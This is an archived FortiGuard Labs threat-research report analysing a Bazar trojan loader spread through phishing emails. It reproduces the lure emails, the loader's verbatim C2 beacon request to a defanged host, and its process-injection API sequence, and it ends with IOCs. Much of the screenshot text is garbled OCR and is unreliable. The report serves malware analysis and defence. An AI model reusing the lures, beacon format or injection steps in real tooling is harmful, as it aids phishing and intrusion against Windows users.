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New Bazar Trojan Variant is Being Spread in Recent Phishing Campaign
—Part I | FortiGuard Labs

By Xiaopeng Zhang
Published: 2021-02-12 - Archived: 2026-04-05 20:16:40 UTC
FortiGuard Labs Threat Research Report

Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Control and Collect sensitive information from victim’s device, as well as delivering other malware.

Severity level: Critical

Bazar (which has been classified as the Team9 malware family being developed by the group behind Trickbot) is a backdoor
Trojan designed to target a device, collect sensitive information, control the system via commands, and deliver malware.

Last year, it was observed delivering the TrickBot malware.

FortiGuard Labs recently noticed a suspicious email through the SPAM monitoring system. This email was designed to
entice a victim into opening a web page to download an executable file. Additional research on this executable file found
that it is a new variant of Bazar. In this post you can expect to learn what new techniques this Bazar uses to perform anti-
analysis, how it communicates with its C2 server, what sensitive data it is able to collect from the victim’s device and how it

is able to deliver other malware onto the victim’s system.

Phishing Email and Download Page

To validate our assessment, we captured some of Bazar’s previous phishing emails and their content are similar. They lure

the recipient into opening a webpage to view a pdf version of a fake bonus report, fake customer complaint report, or fake

billing statement, etc. You can see two examples in the following Figures, which were captured on Jan 20 and Jan 27, 2021.

@ - RE: doc 01/20 - Message (HTML)
Message Q Tell me what you want to do...
x E'] rij L,] B ¥ Create New ¥ M 3 Mark Unread a’%,) pel Q
<« <« = DJ - Categorize - -
Delete  Reply Reply Forward — Move Translate Zoom
All N - |™ Follow Up ~ - -
Delete Respond Quick Steps [F] Move Tags F] Editing Zoom ~
Christopher M Lee <charlie weber@| N oo > I - 1/20/2021
RE: doc 01/20 I o
Good day!

I am your colleague from I Customer Department and | am working on a Last year Customer
Complaints Report (PDE _preview).
Do i need to process this document from your account?

Customer Complaints Report 2020 H——

(copy and paste it to browser)

Waiting for you reply,
Christopher M Lee
|

Figure 1.1 Bazar phishing email captured on Jan 20, 2021
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@ - RE: report 01/27 - Message (HTML)

Message @ Tell me what you want to do...

x L;é (L:é L;_)] F F Create New ¥ B S Mark Unread a% 'Dv Q

D] - ==| Categorize ~

Delete  Reply Reply Forward _  Move Translate Zoom
All - - ™ Follow Up ~ - [} -
Delete Respond Quick Steps [} Move Tags I Editing Zoom ~
Aimee Broyles <Kyerra Naugles@ I > ] Wed 1/27
RE: IR report 01/27 o

Good morning!

Here is your Annual Bonus Report form dated 1/27/2021 (in PDF-format) that you can find here: |

It's ready to be approved and signed by you. If you have a problem opening, copy link and paste to browser.

Please, print out and send me back the signed copy by the end of the day.

Best regards,
Aimee Broyles

I s istant

Figure 1.2 Bazar phishing email on Jan 27, 2021
Once the victim clicks any hyperlink in the email, it brings the victim to a malicious webpage, as shown in Figure 1.3.

- — - B
% Customer Complaint Request 5 X [ + S
. I T L -

C & com I <o T »

The Customer Complaint Req
ready for preview.

If it doesn't start automa

Figure 1.3 Webpage that downloads the Bazar malware

There are three hyperlinks, circled on the webpage image above, that all pointing to the same download link. One instance

of the download hyperlinks looks like this:

https|:]//doc-14-6g-
docs[.]googleusercontent.com/docs/securesc/mdjlrke7n9hladuOavuh39vorb58jrve/fgl9fo0g0p5035at5vboiccqq552hmqf/1611168150000/1622332907017¢
81Szpp4XoG-jfSs?

e=download&authuser=08&nonce=nvmpahs236rou&user=11832846407481787782&hash=>5ctf3a9bet7iv3njj965vhOc16pumigi

Downloaded Bazar Loader

The downloaded file (Priview_report20-01[.]exe) is an executable file that uses a PDF document-like icon to deceive the

intended victim. By default, Windows hides the actual extension (for example, “.exe”).

Figure 2.1 shows a quick analysis of the file. The left side of the image shows what the victim sees, and the right side shows
what the researchers see in a PE analysis tool. (PE, or Portable Executable, is the native format of executable binaries

[DLLs, drivers and programs] for the Microsoft Windows® 32-bit operating systems.)
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a CFF Explorer VI - [Preview_report20-0l.exe] =2
File Settings 7
N H Previ report20-0 x
=
Property Value
[Lngm Hﬁ“"‘du'-' T Di\Preview,_report20-01.exe
[ M Headers File Type Portable Executable 64
g S';::;d:ﬁ - File Info Microsoft Visual C++ 8.0 (DLL)
5 Data Diectories k] File Size 540,69 KB (553664 bytes)

— (= Section Headers [«] >

L et Dracy PE Size 535.50 KB (548352 bytes)

| — (5 Resource Directory Created Wednesday 20 January 2021, 1042.55

Preview_report20 — [ Exception Directery Modified Wednesday 20 January 2021, 10.42.58
-01 +— | Debug Dirsctory

|— @, Address Converter Accessed Wednesday 20 January 2021, 10.42.55

— “ Dependency Walker MD5 A440DD60DS61 3ACFIBT3FLIBAIABADE]

— ), Hex Editor

| %, identfier SHA-L SEQTBOEOE4SESEAGT1EBBETAER21070CFDESAFAE

— N, Impont Adder

— %Qn:k Disassembler e Voree

L %), Resource Editor Empty No additional info available

Figure 2.1 The downloaded Bazar loader in an analysis tool

The victim may assume the file is a real PDF document and double click on it to open the “report” without realizing that an

executable file is being run in the background.

The downloaded executable file is recognized as a 64-bit file in the analysis tool, which means it is only able to execute on

64-bit Microsoft Windows Operating Systems.
After analyzing this file, I realized this file is a loader of Bazar.

Once the Bazar loader starts, an encrypted Resource that hides in the “Font Directory” with the ID “339” (hex 153H) is

loaded into its memory. In Figure 2.2 you can see the Resource data shown in an analysis tool.

FECT e = s L e

File Settings ?
- H . Preview_repon20-01 exe
- N -
2 [FIFile: Preview_repot20-01.¢ b B = | L |
il [ <] Dos Header Offsen Ascii "
2 N Headers 00000000 hI1E0T< 11 101uS |
W — (3 Section Headess x] gggggg%g qleS;;zﬁi nl 1180
| . _OBECINIIoucd]
— g:‘e‘m Preen. 00000030 eclhvalgilc|ggég
| ) Resource Directory 00000040 £P@:V> 18b1 i D |
|— £ Exception Directory 00000050 030, 1 lvaRvi®S 37y
| = Debug Directa 00000060 *GZEL 1T LT
Il ﬁ o o ter 00000070 A£1912, IBDSDO
[ % Addross 00000080 511 viia?? 1udh. g
I— ) Dependency Walker 00000030 ISIOTIEY & oo iR
|— @, Hex Editor 00000040 GrEfZic¥] 10 gt
[ b Hex Ed 000000B0 1 nG3'c DI feul< |
3, bdentifier 0000000 LtQl )- UpaTHI
|— 9, import Adder 00000000 AD 2@} 1,01 8Tx
%), Quick Disassembler 000000E0 251)1B5° 1ZEI=¥ &
P i Sl b,
1| [~ialh 14,
% Resource Editor 00000110 113 Q13814E a%ta
00000120 |1(E|!iA@0'a|c)f|m
00000130 WOEZget# Bl ev
1 0000010 |5d[ FR20I0DIIT6
00000150 1T 0K 800 ¢ | L
I

Figure 2.2. Encrypted Resource 339 of Bazar loader

Decrypting the Resource data uncovers a piece of ASM (assembly language) code and a PE file. This ASM code, called by
the Bazar loader, dynamically deploys the PE file into memory and executes it. Figure 2.3 is a screenshot of a debugger,
showing where the ASM code was about to call the OEP (Original Entry Point) of the deployed PE file. This PE file is the
real Bazar loader.

Page 3 of 7



https://www.fortinet.com /blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-|

mov r&,qword ptr ds:[r2+38]

Ele View Debug Trace Plugns F Options Help  Apr 5 2018
S0E 0ttt L ES
ﬁCPUl-mMml.m|@ﬂsﬂ|ﬁﬂlﬂwlesyﬁl()mlpﬂduml*ihunk‘
% ®] 0000000000300422 mov ebx eax PN
' » [ oooooooooo300424 13 |[ Hide FPU J
i+ #[0000000000300427 test eax,eax B4 0 o I
| i-—--e [ 0000000000300423 je 300000 [Rx 0000000002103 962 ]
! » | 0oooooooo030042F add ri4,2s Lo i
i « [ oooooooo00200433 test rbp,rbp
i « | 0000000000300435 | 4 i’n: 3003584 0000004000000001
[ 000000000030043C ea ri3d,gword ptr ss:[irbp+2J REP
» || ooo00DOOOOZ00440 mov ebx,dword ptr ds:[rdi+zg] B3P
¢ | 0000000000300443 xor réd,rsd RSI
« | 0oooooooo0300446 xor edx,edx RDI
# | 00oo000000300448 or rcx,FFFFEFFFFFFFEFFF
# || 000000000020044C add rbx,rsi RE
« || oo0000000020044F =l riz R
o | 0000000000300452 mov ebp,1 R10
« [ 0000000000200457 mov rcx,rsi o
« | 0000000000200454 mov rad,ebp L UUWW?E?EEE, A
» [ 0000000000300450 =1 = int3
e .
* [[0000000000300461 - H
. » [ 0000000000200464 je 200501 . b R
| (| 000000000030046A cmp dword ptr ds:[rdi+8c],0 » im lll‘:lji?FD
| 1----#0000000000300471 | + e 200501 . T
1! /0000000000300 mov edx,dword ptr ds:[rdi+28] . ints
I £ J . jmp qword ptr ds:[21D8260)
. int3
rbX=0000000002103968 M sub rsp,2
.
.
.
.
.
.
.

00 00 00196 19 DD 5A[00 00 00 00/02 00 00 00

Figure 2.3. Calling the OEP of the deployed PE file
Deeper Dive into the Bazar Loader

The real Bazar loader then initiates communication with its C2 server. The host and URL strings are decrypted from constant
data in that stack.

Wiy Fehe et POI0S ThdC ==

File View Debug Trace Plugins F i Options  Help  Apr 52018

coE S0 te ey taBoSefire B B9

B cru | . |-Mh|gum|§ﬂ|ﬂw|ﬁsm|omm| 9m|9n-41&]
#[[0000000002191D48 EC DB |mov ebx,5219DBEC « |[Caide Fru
*|| 0000000002191D4D | ~ 59 18 FF |jmp 219icCed » - )
e || 0000000002191D52 48 89 &C |mov gword ptr ss:[frsp+s0f,riby RAX 000000008
«|| 0000000002191D57 48 8B 5C rbx,qword ptr ss: lrsp+soi E REX noooaouo;:;‘l;ggig
*|| 0000000002191D5C 48 83 FB Rex IR Gro kT E3

FE—e
*| 0000000002131065 c [ 00000000278 AEFEE
*|| 0000000002131D68| ~ E9 00 FF |jmp 2191CéD REP  0000000000000019 I
®| 0000000002191D6D 31 C9 xor ecx,ecx RSP 000000000231ECED do'
& | 0000000002191D6F BA 01 00 |mov —]
*|| 0000000002191D7 4 41 BB 66 |mov rad Zcasr3ee
| 0000000002191D7A 41 B3 30 |mov 180 | Default (x64 fastcall)
| 0000000002191D80 EE 08 E7 |€all 21A0480 1: rcx 0DDOO0ODOF9A1GEE30
@ 0000000002191D8S 48 89 44 |mov qul’d ptr 55 .I’SDTSU.,I’G.'K 2: rdx 0000000027B8FE6B
*|| 0000000002191D8A BB 30 35 |mov eax,11FF3s -
@|| nrmnmnnnnSioines na ot oo Born.szol 4 r9 B29231FIFEICSAS3 |

‘ C | |
————————— |

| Ehoump 1 | ¥4 Dump2 00000000

~ 00000000
00000000

000D00000Z31EDL

000000000231ED2 o0 oo FpoeEl 00000000

000000000231ED3

0000000002315D40 | 50 Sk 31 02100 00 00 00150 £0 21 021 ]

000000000231EDS50|FC FF FF FF|FF FF FF FF|01 00 00 00

000000000231ED60 08 EE 21 02

AnNANANANS21EnTA | Ak EE T1 AT TAR AN fe s | AS AR an an : || 00000000 ~

L S — LA LA

Command:
Figure 3.1. A display of the decrypted host string of the C2 server

Figure 3.1 above shows the just decrypted C2 host string with the port number (englewoodcarwashh[.Jus:443) in the
memory sub-window. It later calls the API getaddrinfo(C2_host_string) to obtain the IP address of the C2 server.

It sends a GET request with the URL “/cgi-bin/req5” to its C2 server using the SSL protocol. Figure 3.2 is a screenshot of a
debugger showing the moment it was about to call the API EncryptMessage() to encrypt the entire GET request.
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'ﬁﬁ_ﬁ-ﬂaﬁﬁmmm-mxm-wm

File View Debug Trace Plugins Favourites Options Help Apr52018
cOE 50 teey tulielhis LR®
@ cru | @ Breakpoints | ™8 MemoryMap | [ calistack | =msen | o scipt | @) symbois | <

e|[00000000021C1988 xor edx,edx .
¢ (| 00000000021C198A lea r8,qword ptr ss:@rsp+120|
¢ | 00000000021C1992 Emp
RIP g ] €all gword ptr ds:[rax+cs] [ramca]::ncrmessmel
e | 00000000021C1998 SRy
¢ || 00000000021C199D mov eax,AF38B5CS
e || 00000000021C19A2 mov ecx,21EFAG29 —
¢ | 00000000021C19A7 CMOVS eax,ecx |_
——e || 000DD0D0021C1IAA jmp 21C1431
@ | 000D0DD0D021C19AF cmp dword ptr ss:[rsp+scfl,0
¢ (| 00000000021C19B4 mov eax,SF3CC44BE
& | 00000000021C19B5 mov ecx,G&DBATGE2Z7
& | 00000000021C19BE cmove eax,ecx
@ | 00000000021C19C1 mov ecx,dword ptr ss:Brsp+70) ]
4| n ] ’

| @4pump1 | @pump2 | We0ump3 | gyoump4 | @houmps | @ watch1 | bxelLocais | Ao
Address Hex L -
0000000000207595 |47 45 54 20(2F €3 67 €9(2D 62 69 6E|2F 72 &5 71| GET /cgi-bin/req
00000000003075A5 | 35 20 48 54|54 50 2F 31(2E 21 0D OA|48 &F 73 745 HTTP/1.1..HOST
00000000002075B5 | 3A 20 65 6E|67 &C 65 77|6F 6F 64 63|61 72 77 &61] : englewoodcarwa
00000000003075C5 |73 68 68 2E(75 73 OD OA|55 73 65 72(2D 41 &7 &5 shh.us..user-age
00000000002075D5 | 6E 74 3A 20|75 73 65 72|5F &1 &7 &5 (6E 74 0D OAj Nt user_agent..
00000000003075E5 | 44 61 74 65(3A 20 57 65|64 2C 20 32(30 20 4A eijpate: wed, 20 Ja
00000000002075F5 | 6E 20 32 30|32 31 20 32|31 3A 30 35(2A 31 31 204 n 2021 21:05:11

0000000000307605 | 47 4D 54 0D|0A 72 76 70|6F 66 74 3A(20 7A 33 71 GMT..rvpoft: z3q
0000000000307615 |54 46 4C 439(6B 42 72 59|56 44 33 69|67 49 4B 79| TFLIKEBrYvD3igIKy
0000000000307625 | 31 6B 41 53(39 39 72 42|4C 30 56 33(35 6B 38 4E| 1kAS9IOrBLOV3ISKSEN
0000000000307635 | 4B 46 55 47 (31 64 51 47|56 77 34 49(43 70 46 56 KFUGLDQGVWAICPFV D
0000000000307645 | 28 79 39 63|41 69 56 53|25 32 46 41|75 36 52 54f BYICATVSHZFAUERT

0000000000307655 | 70 61 48 67 |5A 52 56 75|57 4D 73 6E|4C 56 68 70f paHgZRvuwMsnLvhp|
ANANNNNNNNRNTEAC | C4 CA £1 C2lan &4 6F 76142 44 76 aal72 4F 71 4 et .

< | mn

Figure 3.2. An encrypted packet sent to the C2 server
I copied the packet below for a clearer view:

GET /cgi-bin/req5 HTTP/1.1

Host: englewoodcarwashh[.Jus

User-Agent: user_agent

Date: Wed, 20 Jan 2021 21:05:11 GMT

rvpoft: z3qTFLIkBrYVD3igIKy1kAS99rBLOV35k8NKFUG1dQGVw4ICpFV8y9cAiVS %2FAu6RTpaHgZ RVuWMsnLVhpTZaRMdnvCDvJrOqKhaw.

Connection: Keep-Alive

You may have noticed that the value of “rvpoft” is base64 encoded. It was a hash of the “Date:” value (“Wed, 20 Jan 2021
21:05:11 GMT?”). By calculating the hash of “Date:” and comparing it with the hash value that “rvpoft” carries at the C2

server, it is able to verify if the packet is from its true client.

iﬁ_ﬂg-mw&wm-ml-mm

File View Debug Trace Plugins Favourites Options Help Apr 52018

CDE 0 ¥t 9§ tall 2P H a B @
cPU | .&eml-wmlgﬂsmlﬁgﬂlﬂjsu'pt E'Isv-ﬁnlsl <2 sourc
® [ D00000D000219C522 mov dword ptr ss:lrsp+4sl,2 N
# | oooooDDOD219Cs2A mov gqword ptr ss:lfrsp+zo§,0
@ | 000000000219C533 xor rod,r9d R
. €all gword ptr ds:[<&BCryptDecrypt>] D i
RIP guuy T 1Test eax,eax RY
o [ 000000000219CE 3E mov eax,GEACCE76
# | 0000DDDDD219CE 43 mov ecx,&2DE364 =
@ || 000000000219C548 cmove eax,ecx De
» | 000000000219CS 4B jmp 219C224 =
® || 00D0DDDDD219C550 mov eax,7477B831 1:
| 000000000219C555 mov dword ptr ss:|Irsp+sof,edi 2:
» | oooooooo0D219CEs9 jmp 213c224 - 3:
® 1 | E é
Wooump 1 | GDump2 | $hDump3 | GhDump4 | Wuoumps | B watch: | ieeliocas | L) dghRR
Address - EE
0000000002770000§ 40 5A 90 00|03 00 . D o0
0000000002770010§ EB 00 00 00|00 0O . od
00000000027700204 00 00 00 00|00 0O . . oc
0000000002770030§ 0O 00 00 00|00 00 oc
0000000002770040§ OE 1F BA OE |00 B4 09 CD|21 BB 01 4C|CD 21 54 68|..=.. .11 .LI!Th o0
00000000027700500 69 73 20 70|72 &F 67 72|61 6D 20 63|61 6E GE &F|is program canno o0
0000000002770060§ 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS o0
00000000027 700704 60 6F 64 65|2E 0D OD 0OA|24 00 00 00|00 00 00 0O|mode....$....... o0
0000000002770080 E7 CB 76 93 A2 A9 18 CO|A3 A9 18 CO|A3 A9 18 CO|cEv.£®.Af8.Af8.A oc
0000000002770090§ DO CB 1C C1 A9 A9 18 CO|DO CB 1B C1|A6 A9 18 CO|DE.A®8.ADE.A'8.A o0
00000000027700A00 D0 CB 1D C1|23 A9 18[CO|E9 CC 1B C1|AA A9 18 CO|DE.A#e2.AéI.A%2.A o0
00000000027700B0§ E9 CC 1D C1 |87 A9 18 CO|E9 CC 1C C1|B1 A9 18 CO|éI.A.®.AéL.A+e. A oc
oolooooooozrmoco DO CB 19 C1/AE A9 18 COIA3 A9 19 COICE A9 18 CO DE.A®2,Af8.AlS. A 1~
] f 3 F]

Figure 3.3. The decrypted Bazar payload returned from the C2 server
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Once it passes packet verification, the C2 server replies with an encrypted Bazar payload to the client (Bazar loader). This is
decrypted in the API function BCryptDecrypt() that is called by the Bazar loader. Figure 3.3, above, shows the just-
decrypted Bazar payload PE file in the memory sub-window at the bottom.

The payload file is an EXE file, which will be injected into a newly-created “cmd.exe” process to hide its real process from
being noticed by the victim. To do this, the Bazar loader calls API CreateProcessA() to create a “cmd” process with a
CreateFlags of value “0x80014” that is a combination of “EXTENDED_STARTUPINFO_PRESENT,
CREATE_NEW_CONSOLE, and CREATE_SUSPENDED?”. Refer to Figure 3.4, below, for more details.

Z2oE 0t 9y taBiels L EO

Blcru | @ rediponts | M8 memorymap [ [ calseex | Smsen | [ofsoipt | Esymbols | < sowee | S meferences [ 'S threads |
- Q7 790A A
L = +|[ nide FPu ]
: RAX 0000000000080014
- REX  000000000Z31F208
® RCX 0000000000000000
I mov ri1,rsp N
. sub rsp,68 -
H and quied ptr ds: [r11-10],0 | Defauit (x64 fastcal) ¥ 5 (24 unlocked
. mov rax,gword p ss:flrsp+esl | ‘ 1:
. mov qword ptr ds 2: |
- mov rax,qword ptr Brsp+eol - [ 3:
L] 4
< [T 3 =
— £ 21 HEE
» | % oump3 00000000021BB955 | return to 000000000Z188955 from 777 A
Address
00000000023E688
00000000023E685
00000000023E68A
OOWDOWDZHS“J CreateFlags 0x80014 a2
00000000023E65C] iy L4
1F112 | 0000000000000000
00000000023E68D _ || 5000000002 31F 120 | 000000000231F220 —
ooooooo?ozssssz ................
4 [m » L

Figure 3.4. Creating the “cmd.exe” process by calling the API CreateProcessA()

To inject the Bazar payload into the newly-created “cmd.exe” process and execute it, it needs to call some relevant APIs,
like NtGetContextThread(), VirtualAllocEx(), NtUnmap ViewOfSection(), NtWriteVirtualMemory(),
ZwSetContextThread(), and ZwResumeThread().

Conclusion

This is part I of our analysis of this new Bazar variant. In this post, I explained how a Bazar loader was spread in a phishing

campaign. I showed how the Bazar loader communicates with its C2 server to download the Bazar payload. I also presented

how the payload file is deployed in a newly-created “cmd.exe” process.

I will provide an analysis of the Bazar payload file running in “cmd.exe” in part II of this analysis. In that report you will
learn how Bazar communicates to its C2 server and what actions Bazar can perform on a victim’s device via commands

received from its C2 server.

Fortinet Protections

Fortinet customers are already protected from this Bazar variant with FortiGuard’s Web Filtering and AntiVirus services as
follows:

The Bazar loader download URLs are rated as "Malicious Websites" by the FortiGuard Web Filtering service.
The downloaded files are detected as "W64/Bazar.CFI!tr" and blocked by the FortiGuard AntiVirus service.

The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient and FortiEDR. The Fortinet AntiVirus
engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are

protected.

We also suggest our readers to go through the free NSE training -- NSE 1 — Information Security Awareness, which has a

module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
I0Cs:

URLs

hxxps[:]//complaintsreport2020][.]gr8[.]com/

hxxps[:]/appl.]getresponse[.]Jcom/Ipc_unpublish.html

hxxps|:]//englewoodcarwashh[.]Jus:443/cgi-bin/req5

Sample SHA-256

[Preview_report20-01.exe]

0BFB64DFF37DD50449AF75EC204F0B4981AC3B16790458F6A492C7B27905A9A7
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[Print-report27-01.exe]
6E6COEBC1BB2D99CE358612572F4BCF52578527EEEF6629FFCE81B35F5FA1A99

References:

https:/malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor

Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio.

Learn more about Fortinet’s free cybersecurity training_initiative or about the Fortinet NSE Training program, Security

Academy program, and Veterans program.
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